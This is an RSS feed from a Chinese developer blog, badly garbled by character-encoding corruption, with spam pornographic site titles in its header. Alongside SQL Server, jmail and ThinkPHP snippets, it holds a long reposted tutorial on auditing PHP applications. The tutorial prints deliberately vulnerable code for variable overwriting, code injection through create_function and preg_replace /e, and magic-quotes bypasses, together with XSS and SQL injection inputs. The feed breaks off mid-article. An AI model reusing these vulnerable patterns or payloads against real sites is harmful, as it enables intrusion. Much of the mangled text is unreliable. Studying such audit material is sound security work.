??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲AV无码乱码在线观看性色扶,亚洲男人第一无码aⅴ网站,亚洲色大成网站www永久男同http://m.tkk7.com/jasonxiao/有文事?必有武备 来如雷霆攉怒,|如江v凝清?/description>zh-cnWed, 14 May 2025 18:40:51 GMTWed, 14 May 2025 18:40:51 GMT60 sql server中查询删除含有回车换行制表符的记?/title><link>http://m.tkk7.com/jasonxiao/archive/2010/11/05/337281.html</link><dc:creator>肖马?/dc:creator><author>肖马?/author><pubDate>Fri, 05 Nov 2010 01:40:00 GMT</pubDate><guid>http://m.tkk7.com/jasonxiao/archive/2010/11/05/337281.html</guid><wfw:comment>http://m.tkk7.com/jasonxiao/comments/337281.html</wfw:comment><comments>http://m.tkk7.com/jasonxiao/archive/2010/11/05/337281.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://m.tkk7.com/jasonxiao/comments/commentRss/337281.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/jasonxiao/services/trackbacks/337281.html</trackback:ping><description><![CDATA[<p>  sql server中查询删除含有回车换行制表符的记?收藏 <br /> --   制表W?nbsp;            CHAR(9)     <br /> --   换行W?nbsp;            CHAR(10)     <br /> --   回R                 CHAR(13)     <br /> --在表aaa中过滤包含回车换行符的字Db的记?<br /> select * from aaa<br /> where charindex(char(10)+char(13),b)>0   <br /> --在表aaa中把包含回R换行W的字段b的记录的回R换行W去?br /> update aaa set b=replace(b,char(10)+char(13),'')</p> <p>本文来自CSDN博客Q{载请标明出处Qhttp://blog.csdn.net/jiedushi/archive/2008/09/15/2933621.aspx</p> <img src ="http://m.tkk7.com/jasonxiao/aggbug/337281.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/jasonxiao/" target="_blank">肖马?/a> 2010-11-05 09:40 <a href="http://m.tkk7.com/jasonxiao/archive/2010/11/05/337281.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>jmail 4.4攉?/title><link>http://m.tkk7.com/jasonxiao/archive/2010/07/06/325396.html</link><dc:creator>肖马?/dc:creator><author>肖马?/author><pubDate>Tue, 06 Jul 2010 12:49:00 GMT</pubDate><guid>http://m.tkk7.com/jasonxiao/archive/2010/07/06/325396.html</guid><wfw:comment>http://m.tkk7.com/jasonxiao/comments/325396.html</wfw:comment><comments>http://m.tkk7.com/jasonxiao/archive/2010/07/06/325396.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/jasonxiao/comments/commentRss/325396.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/jasonxiao/services/trackbacks/325396.html</trackback:ping><description><![CDATA[<p>jmail.POP3 popMail = new jmail.POP3(); </p> <p>            jmail.Message mailMessage; <br />             jmail.Attachments atts; <br />             jmail.Attachment att; <br />             string pop = "mail.xx.com"; <br />             popMail.Connect("xx@xx.com", "xxxx", pop, 110); <br />             for (int i = 1; i <= popMail.Count; i++) <br />             { <br />                 mailMessage = popMail.Messages[i]; <br />                 atts = mailMessage.Attachments; <br />                 mailMessage.Charset = "gb2312"; <br />                 mailMessage.ContentTransferEncoding = "base64"; <br />                 mailMessage.Encoding = "base64"; <br />                 mailMessage.ISOEncodeHeaders = false; <br />                 MessageBox.Show(mailMessage.Subject); <br />             } </p> <p>            popMail.Disconnect(); </p> <img src ="http://m.tkk7.com/jasonxiao/aggbug/325396.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/jasonxiao/" target="_blank">肖马?/a> 2010-07-06 20:49 <a href="http://m.tkk7.com/jasonxiao/archive/2010/07/06/325396.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ThinkPHP Cookie操作 http://m.tkk7.com/jasonxiao/archive/2010/07/06/325369.html肖马?/dc:creator>肖马?/author>Tue, 06 Jul 2010 07:11:00 GMThttp://m.tkk7.com/jasonxiao/archive/2010/07/06/325369.htmlhttp://m.tkk7.com/jasonxiao/comments/325369.htmlhttp://m.tkk7.com/jasonxiao/archive/2010/07/06/325369.html#Feedback1http://m.tkk7.com/jasonxiao/comments/commentRss/325369.htmlhttp://m.tkk7.com/jasonxiao/services/trackbacks/325369.html 

Cookiecd装了基本的Cookie静态操作方法,q且无需引入和实例化可以直接用?br /> 和Cookie相关的设|参数有
'COOKIE_EXPIRE'=>30000000000,                // Cookie有效?/p>

'COOKIE_DOMAIN'=>$_SERVER['HTTP_HOST'],        // Cookie有效域名

'COOKIE_PATH'=>'/',                        // Cookie路径

'COOKIE_PREFIX'=>'THINK_',           // Cookie前缀 避免冲突
复制代码
[ Ҏ ]
常用的操作方法:
is_set($name) // Cookie变量是否存在
set($name,$value,$expire='',$path='',$domain='') // 讄Cookie?br /> SetҎq支持三个可选参?
$expire 有效?
$path Cookie路径
$domain Cookie域名
如果没有讄则用配|文仉面的相关配置的倹{?br /> get($name) // 获取Cookie?br /> delete($name) // 删除Cookie的?br /> clear($name) // 清空Cookie

[ CZ ]
下面l出了Cookie的相x作例子:
// Cookie变量是否存在

Cookie::is_set('userId');       

// 讄Cookie?/p>

Cookie::set('userId','2008');

// 讄Cookie 有效?4时

Cookie::set('userId','2008',60*60*24);

// 获取Cookie?/p>

Cookie::get('userId');

// 删除Cookie?/p>

Cookie::delete('userId');
复制代码
注意默认的配|参数COOKIE_PREFIX的值是'THINK_',   所以,如果需要通过传统方式调用Cookie值的话,应该?br /> Cookie::get('userId')应该{同?br /> $_COOKIE['THINK_userId']



]]>
高PHP应用E序漏洞审核技?/title><link>http://m.tkk7.com/jasonxiao/archive/2010/06/28/324691.html</link><dc:creator>肖马?/dc:creator><author>肖马?/author><pubDate>Mon, 28 Jun 2010 10:14:00 GMT</pubDate><guid>http://m.tkk7.com/jasonxiao/archive/2010/06/28/324691.html</guid><wfw:comment>http://m.tkk7.com/jasonxiao/comments/324691.html</wfw:comment><comments>http://m.tkk7.com/jasonxiao/archive/2010/06/28/324691.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/jasonxiao/comments/commentRss/324691.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/jasonxiao/services/trackbacks/324691.html</trackback:ping><description><![CDATA[<p>[目录]</p> <p>1. 前言<br /> 2. 传统的代码审计技?br /> 3. PHP版本与应用代码审?br /> 4. 其他的因素与应用代码审计<br /> 5. 扩展我们的字?br />   5.1 变量本n的key<br />   5.2 变量覆盖<br />     5.2.1 遍历初始化变?br />     5.2.2 parse_str()变量覆盖漏洞<br />     5.2.3 import_request_variables()变量覆盖漏洞<br />     5.2.4 PHP5 Globals <br />   5.3 magic_quotes_gpc与代码安?br />     5.3.1 什么是magic_quotes_gpc<br />     5.3.2 哪些地方没有术引号的保?br />     5.3.3 变量的编码与解码<br />     5.3.4 二次d<br />     5.3.5 术引号带来的新的安全问?br />     5.3.6 变量key与魔术引?br />   5.4 代码注射<br />     5.4.1 PHP中可能导致代码注的函数<br />     5.4.2 变量函数与双引号<br />   5.5 PHP自n函数漏洞及缺?br />     5.5.1 PHP函数的溢出漏z?br />     5.5.2 PHP函数的其他漏z?br />     5.5.3 session_destroy()删除文g漏洞<br />     5.5.4 随机函数<br />   5.6 Ҏ字符<br />     5.6.1 截断<br />       5.6.1.1 include截断<br />       5.6.1.2 数据截断<br />       5.6.1.3 文g操作里的Ҏ字符<br /> 6. 怎么q一步寻找新的字?br /> 7. DEMO<br /> 8. 后话<br /> 9. 附录</p> <p><br /> 一、前a</p> <p>    PHP是一U被q泛使用的脚本语aQ尤光合于web开发。具有跨q_Q容易学习,功能?br /> 大等特点Q据l计全世界有过34%的网站有php的应用,包括Yahoo、sina?63、sohu{大?br /> 门户|站。而且很多具名的web应用pȝQ包括bbs,blog,wiki,cms{等Q都是用php开发的Q?br /> Discuz、phpwind、phpbb、vbb、wordpress、boblog{等。随着web安全的热点升U,php?br /> 用程序的代码安全问题也逐步兴盛hQ越来越多的安全人员投入到这个领域,来多的应<br /> 用程序代码漏z被披露。针对这样一个状况,很多应用E序的官斚w成立了安全部门,或者雇<br /> 佣安全h员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也是q样的Ş<br /> 势导致了一个局面:大公司的产品安全pL大大的提高,那些很明昄漏洞基本灭绝了,那些<br /> 大家都知道的审计技术都无用武之C。我们面对很多工具以及大牛扫描过n遍的代码Q有?br /> 多的安全人员有点悲观Q而有的官方安全h员也非常的放心自q代码Q但是不要忘C“?br /> 有绝对的安全”Q我们应该去L新的途径挖掘新的漏洞。本文就l介l了一些非传统的技?br /> l验和大家分享?/p> <p>    另外在这里特别说明一下本文里面很多漏z都是来源于|络上牛人和朋友们的分nQ在<br /> q里需要感谢他们,Q)</p> <p><br /> 二、传l的代码审计技?/p> <p>    WEB应用E序漏洞查找基本上是围绕两个元素展开Q变量与函数。也是说一漏洞的利?br /> 必须把你提交的恶意代码通过变量l过nơ变量{换传递,最l传递给目标函数执行Q还记得<br /> MS那句l典的名a吗?“一切输入都是有害的”。这句话只强调了变量输入Q很多程序员?#8220;?br /> ?#8221;理解为只是gpc[$_GET,$_POST,$_COOKIE]Q但是变量在传递过E生了n多的变化。导?br /> 很多qo只是?#8220;U老虎”Q我们换句话来描叙下代码安全Q?#8220;一切进入函数的变量是有害的”?/p> <p>    PHP代码审计技术用的最多也是目前的dҎQ静态分析,主要也是通过查找ҎD<br /> 安全漏洞的危险函敎ͼ常用的如grepQfindstr{搜索工P很多自动化工具也是用正则来?br /> 索这些函数。下面列举一些常用的函数Q也是下文说的字典Q暂略)。但是目前基本已有的<br /> 字典很难扑ֈ漏洞Q所以我们需要扩展我们的字典Q这些字怹是本文主要探讨的?/p> <p>    其他的方法有Q通过修改PHP源代码来分析变量程Q或者hook危险的函数来实现对应?br /> E序代码的审核,但是q些也依靠了我们上面提到的字典?/p> <p><br /> 三、PHP版本与应用代码审?/p> <p>    到目前ؓ止,PHP主要?个版本:php4、php5、php6Q用比例大致如下:</p> <p>php4 68% <br /> 2000-2007QNo security fixes after 2008/08Q最l版本是php4.4.9</p> <p>php5 32% <br /> 2004-presentQNow at version 5.2.6QPHP 5.3 alpha1 released!Q?/p> <p>php6 <br /> 目前q在试阶段Q变化很多做了大量的修改Q取消了很多安全选项如magic_quotes_gpc?br /> Q这个不是今天讨论的范围Q?/p> <p>    ׃php~少自动升的机ӞD目前PHP版本q存Q也D很多存在漏洞没有被修补?br /> q些有漏z的函数也是我们q行WEB应用E序代码审计的重点对象,也是我们字典重要来源?/p> <p><br /> 四、其他的因素与应用代码审?/p> <p>    很多代码审计者拿C码就看,他们忽视?#8220;安全是一个整?#8221;Q代码安全很多的其他因素<br /> 有关p,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系l类型(主要是两大阵?br /> win/*nixQ,WEB服务端YӞ主要是iis/apache两大cdQ等因素。这是由于不同的pȝ不同<br /> 的WEB SERVER有着不同的安全特ҎҎ,下文有些部分会涉及?/p> <p>    所以我们在做某个公司WEB应用代码审计Ӟ应该了解他们使用的系l,WEB服务端YӞ<br /> PHP版本{信息?/p> <p><br /> 五、扩展我们的字典</p> <p>下面详l介l一些非传统PHP应用代码审计一些漏z类型和利用技巧?/p> <p>5.1 变量本n的key</p> <p>    说到变量的提交很多h只是看到了GET/POST/COOKIE{提交的变量的|但是忘记了有?br /> E序把变量本w的key也当变量提取l函数处理?/p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> //key.php?aaaa'aaa=1&bb'b=2 <br /> //print_R($_GET); <br /> foreach ($_GET AS $key => $value)<br /> {<br /> print $key."\n";<br /> }<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    上面的代码就提取了变量本w的key昄出来Q单U对于上面的代码Q如果我们提交URLQ?/p> <p>--code-------------------------------------------------------------------------<br /> key.php?<script>alert(1);</script>=1&bbb=2<br /> -------------------------------------------------------------------------------</p> <p>    那么导致一个xss的漏z,扩展一下如果这个key提交linclude(){函数或者sql查询<br /> 呢?Q) </p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 5.2 变量覆盖Qvariable-overwriteQ?/p> <p>    很多的漏z查找者都知道extract()q个函数在指定参CؓEXTR_OVERWRITE或者没有指<br /> 定函数可以导致变量覆盖,但是q有很多其他情况D变量覆盖的如Q?/p> <p>5.2.1 遍历初始化变?/p> <p>L如下代码Q?/p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> //var.php?a=fuck<br /> $a='hi';<br /> foreach($_GET as $key => $value) {<br /> $$key = $value;<br /> }<br /> print $a;<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    很多的WEB应用都用上面的方式Q注意@环不一定是foreachQ,如Discuz!4.1的WAP部分<br /> 的代码:</p> <p>--code-------------------------------------------------------------------------<br /> $chs = '';<br /> if($_POST && $charset != 'utf-8') {<br /> $chs = new Chinese('UTF-8', $charset);<br /> foreach($_POST as $key => $value) {<br /> $$key = $chs->Convert($value);<br /> }<br /> unset($chs);<br /> -------------------------------------------------------------------------------</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 5.2.2 parse_str()变量覆盖漏洞QCVE-2007-3205Q、mb_parse_str() </p> <p>--code-------------------------------------------------------------------------<br /> //var.php?var=new<br /> $var = 'init';                     <br /> parse_str($_SERVER['QUERY_STRING']); <br /> print $var;<br /> -------------------------------------------------------------------------------</p> <p>    该函C样可以覆盖数l变量,上面的代码是通过$_SERVER['QUERY_STRING']来提取变<br /> 量的Q对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量Q?/p> <p>--code-------------------------------------------------------------------------<br /> //var.php?var=1&a[1]=var1%3d222<br /> $var1 = 'init';<br /> parse_str($a[$_GET['var']]);<br /> print $var1;<br /> -------------------------------------------------------------------------------</p> <p>上面的代码通过提交$var来实现对$var1的覆盖?/p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略Qparse_strQ?br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查扑֭Wparse_str<br /> +++++++++++++++++++++++++</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略Qmb_parse_strQ?br /> -------------------------<br /> PHP版本要求Qphp4<4.4.7 php5<5.2.2<br /> pȝ要求Q无<br /> 审计{略Q查扑֭Wmb_parse_str<br /> +++++++++++++++++++++++++</p> <p><br /> 5.2.3 import_request_variables()变量覆盖漏洞QCVE-2007-1396Q?/p> <p>--code-------------------------------------------------------------------------<br /> //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1<br /> echo 'GLOBALS '.(int)ini_get("register_globals")."n";<br /> import_request_variables('GPC');<br /> if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');<br /> echo 'Hello admin!';<br /> -------------------------------------------------------------------------------</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略Qimport_request_variablesQ?br /> -------------------------<br /> PHP版本要求Qphp4<4.4.1 php5<5.2.2<br /> pȝ要求Q无<br /> 审计{略Q查扑֭Wimport_request_variables<br /> +++++++++++++++++++++++++</p> <p><br /> 5.2.4 PHP5 Globals </p> <p>    从严格意义上来说q个不可以算是PHP的漏z,只能是一个特性,试代码Q?/p> <p>--code-------------------------------------------------------------------------<br /> <?<br /> // register_globals =ON<br /> //foo.php?GLOBALS[foobar]=HELLO<br /> php echo $foobar; <br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    但是很多的程序没有考虑到这点,L如下代码Q?/p> <p>--code-------------------------------------------------------------------------<br /> //Z安全取消全局变量<br /> //var.php?GLOBALS[a]=aaaa&b=111<br /> if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});<br /> print $a;<br /> print $_GET[b];<br /> -------------------------------------------------------------------------------</p> <p>    如果熟悉WEB2.0的攻ȝ同学Q很Ҏ惛_上面的代码我们可以利用这个特性进行crsf<br /> d?/p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 5.3 magic_quotes_gpc与代码安?/p> <p>5.3.1 什么是magic_quotes_gpc</p> <p>    当打开Ӟ所有的 'Q单引号Q,"Q双引号Q,\Q反斜线Q和 NULL 字符都会被自动加上一?br /> 反斜U进行{义。还有很多函数有cM的作?如:addslashes()、mysql_escape_string()?br /> mysql_real_escape_string(){,另外q有parse_str()后的变量也受magic_quotes_gpc的媄<br /> 响。目前大多数的主机都打开了这个选项Qƈ且很多程序员也注意用上面那些函数去qo<br /> 变量Q这看上d安全。很多漏z查找者或者工具遇C函数qo后的变量直接放弃,但是<br /> 在他们攑ּ的同时也放过很多致命的安全漏z?Q)</p> <p>5.3.2 哪些地方没有术引号的保?br />     <br /> 1) $_SERVER变量 </p> <p>    PHP5?_SERVER变量~少magic_quotes_gpc的保护,Dq年来X-Forwarded-For的漏z?br /> 猛暴Q所以很多程序员考虑qoX-Forwarded-ForQ但是其他的变量呢?</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略Q?_SERVER变量Q?br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查扑֭W_SERVER<br /> +++++++++++++++++++++++++</p> <p><br /> 2) getenv()得到的变量(使用cM$_SERVER变量Q?br />    <br /> +++++++++++++++++++++++++<br /> 漏洞审计{略Qgetenv()Q?br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查扑֭Wgetenv<br /> +++++++++++++++++++++++++</p> <p><br /> 3) $HTTP_RAW_POST_DATA与PHP输入、输出流</p> <p>    主要应用与soap/xmlrpc/webpublish功能里,L如下代码Q?/p> <p>--code-------------------------------------------------------------------------<br /> if ( !isset( $HTTP_RAW_POST_DATA ) ) {<br /> $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );<br /> }<br /> if ( isset($HTTP_RAW_POST_DATA) )<br /> $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);<br /> -------------------------------------------------------------------------------<br />         <br /> +++++++++++++++++++++++++<br /> 漏洞审计{略Q数据流Q?br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查扑֭WHTTP_RAW_POST_DATA或者php://input<br /> +++++++++++++++++++++++++</p> <p><br /> 4) 数据库操作容易忘?的地方如Qin()/limit/order by/group by<br />      <br />     如Discuz!<5.0的pm.phpQ?br />      <br /> --code-------------------------------------------------------------------------<br /> if(is_array($msgtobuddys)) {<br /> $msgto = array_merge($msgtobuddys, array($msgtoid));<br /> ......<br /> foreach($msgto as $uid) {<br /> $uids .= $comma.$uid;<br /> $comma = ',';<br /> }<br /> ......<br /> $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m<br /> LEFT JOIN {$tablepre}memberfields mf USING(uid)<br /> WHERE m.uid IN ($uids)");<br /> -------------------------------------------------------------------------------</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查找数据库操作字符Qselect,update,insert{等Q?br /> +++++++++++++++++++++++++</p> <p><br /> 5.3.3 变量的编码与解码</p> <p>    一个WEBE序很多功能的实现都需要变量的~码解码Q而且在q一转一解的传递过E中<br /> 悄悄的l过你的qo的安全防Uѝ?/p> <p>    q个cd的主要函数有Q?/p> <p>1) stripslashes() q个其实是一个decode-addslashes()</p> <p>2) 其他字符串{换函敎ͼ</p> <p>base64_decode -- 对?MIME base64 ~码的数据进行解?br /> base64_encode -- 使用 MIME base64 Ҏ据进行编?br /> rawurldecode -- 对已~码?URL 字符串进行解?br /> rawurlencode -- 按照 RFC 1738 ?URL q行~码<br /> urldecode -- 解码已编码的 URL 字符?br /> urlencode -- ~码 URL 字符?br /> ......<br /> Q另外一?unserialize/serializeQ?/p> <p>3) 字符集函敎ͼGKB,UTF7/8...Q如iconv()/mb_convert_encoding(){?br />       <br />     目前很多漏洞挖掘者开始注意这一cd的漏z了Q如典型的urldecodeQ?/p> <p>--code-------------------------------------------------------------------------<br /> $sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";<br /> -------------------------------------------------------------------------------</p> <p>    当magic_quotes_gpc=onӞ我们提交?id=%2527Q得到sql语句为:</p> <p>--code-------------------------------------------------------------------------<br /> SELECT * FROM article WHERE articleid='''<br /> -------------------------------------------------------------------------------</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查扑֯应的~码函数<br /> +++++++++++++++++++++++++</p> <p><br /> 5.3.4 二次dQ详l见附录[1]Q?/p> <p>1) 数据库出来的变量没有q行qo</p> <p>2) 数据库的转义W号Q?/p> <p>  * mysql/oracle转义W号同样是\Q我们提?通过术引号变化为\'Q当我们updateq入?br /> 据库Ӟ通过转义变ؓ'Q?/p> <p>  * mssql的{义字Wؓ'Q所以我们提?通过术引号变化为\'Qmssql会把它当Z个字W?br /> 串直接处理,所以魔术引号对于mssql的注没有Q何意义)<br />     <br />     从这里我们可以思考得C个结论:一切进入函数的变量都是有害的,另外利用二次d<br /> 我们可以实现一个webrootkitQ把我们的恶意构造直接放到数据库里。我们应当把q样的代<br /> 码看成一个vulQ?/p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 5.3.5 术引号带来的新的安全问?/p> <p>    首先我们看下术引号的处理机Ӟ</p> <p>[\-->\\,'-->\',"-->\",null-->\0]</p> <p>    q给我们引进了一个非常有用的W号“\”Q?#8220;\”W号不仅仅是转义W号Q在WINpȝ下也?br /> 目录转蟩的符受这个特点可能导致php应用E序里生非常有意思的漏洞Q?/p> <p>1) 得到原字W(',\,",null]Q?/p> <p>--code-------------------------------------------------------------------------<br /> $order_sn=substr($_GET['order_sn'], 1);</p> <p>//提交                 '<br /> //术引号处理         \'<br /> //substr               '</p> <p>$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".<br />    " shipping_time, shipping_id, invoice_no, user_id ".<br />    " FROM " . $ecs->table('order_info').<br />    " WHERE order_sn = '$order_sn' LIMIT 1";<br /> -------------------------------------------------------------------------------</p> <p>2) 得到“\”字符</p> <p>--code-------------------------------------------------------------------------<br /> $order_sn=substr($_GET['order_sn'], 0,1);</p> <p>//提交                 '<br /> //术引号处理         \'<br /> //substr               \    </p> <p>$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".<br />    " shipping_time, shipping_id, invoice_no, user_id ".<br />    " FROM " . $ecs->table('order_info').<br />    " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";<br /> -------------------------------------------------------------------------------<br />    <br />     提交内容Q?/p> <p>--code-------------------------------------------------------------------------<br /> ?order_sn='&order_tn=%20and%201=1/* <br /> -------------------------------------------------------------------------------</p> <p>    执行的SQL语句为:</p> <p>--code-------------------------------------------------------------------------<br /> SELECT order_id, order_status, shipping_status, pay_status, shipping_time, <br /> shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and <br /> order_tn=' and 1=1/*'<br /> -------------------------------------------------------------------------------</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查扑֭W串处理函数如substr或者通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 5.3.6 变量key与魔术引?br />     <br />     我们最在这一节的开头就提到了变量keyQPHP的魔术引号对它有什么媄响呢Q?/p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> //key.php?aaaa'aaa=1&bb'b=2 <br /> //print_R($_GET); <br /> foreach ($_GET AS $key => $value)<br />         {<br />         print $key."\n";<br />         }<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>1) 当magic_quotes_gpc = OnӞ在php5.24下测试显C:<br />   <br /> aaaa\'aaa<br /> bb\'b</p> <p>    从上面结果可以看出来Q在讄了magic_quotes_gpc = On下,变量key受魔术引号媄响?br /> 但是在php4和php<5.2.1的版本中Q不处理数组W一l变量的keyQ测试代码如下:</p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> //key.php?aaaa'aaa[bb']=1 <br /> print_R($_GET); <br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    l果昄:</p> <p>Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )   </p> <p>    数组W一l变量的key不受术引号的媄响?/p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Qphp4和php<5.2.1<br /> pȝ要求Q无<br /> 审计{略Q通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 2) 当magic_quotes_gpc = OffӞ在php5.24下测试显C:</p> <p>aaaa'aaa<br /> bb'b</p> <p>    对于magic_quotes_gpc = Off时所有的变量都是不安全的Q考虑到这个,很多E序都通过<br /> addslashes{函数来实现术引号对变量的qoQ示例代码如下:</p> <p>--code-------------------------------------------------------------------------<br /> <?php <br /> //keyvul.php?aaa'aa=1'<br /> //magic_quotes_gpc = Off<br /> if (!get_magic_quotes_gpc())<br /> {<br /> $_GET  = addslashes_array($_GET);<br /> }</p> <p>function addslashes_array($value)<br /> {<br />         return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);<br /> }<br /> print_R($_GET);<br /> foreach ($_GET AS $key => $value)<br /> {<br /> print $key;<br /> }<br /> ?><br /> -------------------------------------------------------------------------------</p> <p>    以上的代码看上去很完,但是他这个代码里addslashes($value)只处理了变量的具?br /> 的|但是没有处理变量本n的keyQ上面的代码昄l果如下Q?br />   <br /> Array<br /> (<br />     [aaa'aa] => 1\'<br /> )<br /> aaa'aa</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无 <br /> pȝ要求Q无<br /> 审计{略Q通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 5.4 代码注射</p> <p>5.4.1 PHP中可能导致代码注的函数</p> <p>    很多人都知道eval、preg_replace+/e可以执行代码Q但是不知道phpq有很多的函数可<br /> 以执行代码如Q?/p> <p>assert()<br /> call_user_func()<br /> call_user_func_array()<br /> create_function()<br /> 变量函数<br /> ...</p> <p>    q里我们看看最q出现的几个关于create_function()代码执行漏洞的代码:</p> <p>--code-------------------------------------------------------------------------<br /> <?php<br /> //how to exp this code<br /> $sort_by=$_GET['sort_by'];<br /> $sorter='strnatcasecmp';<br /> $databases=array('test','test');<br /> $sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);<br />       ';<br /> usort($databases, create_function('$a, $b', $sort_function));<br /> -------------------------------------------------------------------------------</p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q查扑֯应函敎ͼassert,call_user_func,call_user_func_array,create_function{)<br /> +++++++++++++++++++++++++</p> <p><br /> 5.4.2 变量函数与双引号<br />      <br />     对于单引号和双引L区别Q很多程序员深有体会Q示例代码:</p> <p>--code-------------------------------------------------------------------------<br /> echo "$a\n";<br /> echo '$a\n';<br /> -------------------------------------------------------------------------------</p> <p>    我们再看如下代码Q?/p> <p>--code-------------------------------------------------------------------------<br /> //how to exp this code<br /> if($globals['bbc_email']){</p> <p>$text = preg_replace(<br /> array("/\[email=(.*?)\](.*?)\[\/email\]/ies",<br /> "/\[email\](.*?)\[\/email\]/ies"),<br /> array('check_email("$1", "$2")',<br /> 'check_email("$1", "$1")'), $text);<br /> -------------------------------------------------------------------------------</p> <p>    另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文g里,q样?br /> Ҏ被h注射变量函数?br />    <br /> +++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q无<br /> pȝ要求Q无<br /> 审计{略Q通读代码<br /> +++++++++++++++++++++++++</p> <p><br /> 5.5 PHP自n函数漏洞及缺?br />      <br /> 5.5.1 PHP函数的溢出漏z?/p> <p>    大家q记得Stefan Esser大牛的Month of PHP BugsQMOPB见附录[2]Q项目么Q其中比?br /> 有名的要是unserialize()Q代码如下:</p> <p>--code-------------------------------------------------------------------------<br /> unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);<br /> -------------------------------------------------------------------------------</p> <p>    在以往的PHP版本里,很多函数都曾l出现过溢出漏洞Q所以我们在审计应用E序漏洞?br /> 时候不要忘C试目标使用的PHP版本信息?/p> <p>+++++++++++++++++++++++++<br /> 漏洞审计{略<br /> -------------------------<br /> PHP版本要求Q对应fix的版?br /> pȝ要求Q?br /> 审计{略Q查扑֯应函数名<br /> +++++++++++++++++++++++++</p> <p><br /> 5.5.2 PHP函数的其他漏z?/p> <p>    Stefan Esser大牛发现的漏z:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability<br />     <br />     比如phpwind早期的serarch.php里的代码Q?/p> <p>--code-------------------------------------------------------------------------<br /> unset($uids);<br /> ......<br /> $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");<br /> while($member=$db->fetch_array($query)){<br /> $uids .= $member['uid'].',';<br /> }<br /> $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';<br /> ........<br /> $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");<br /> 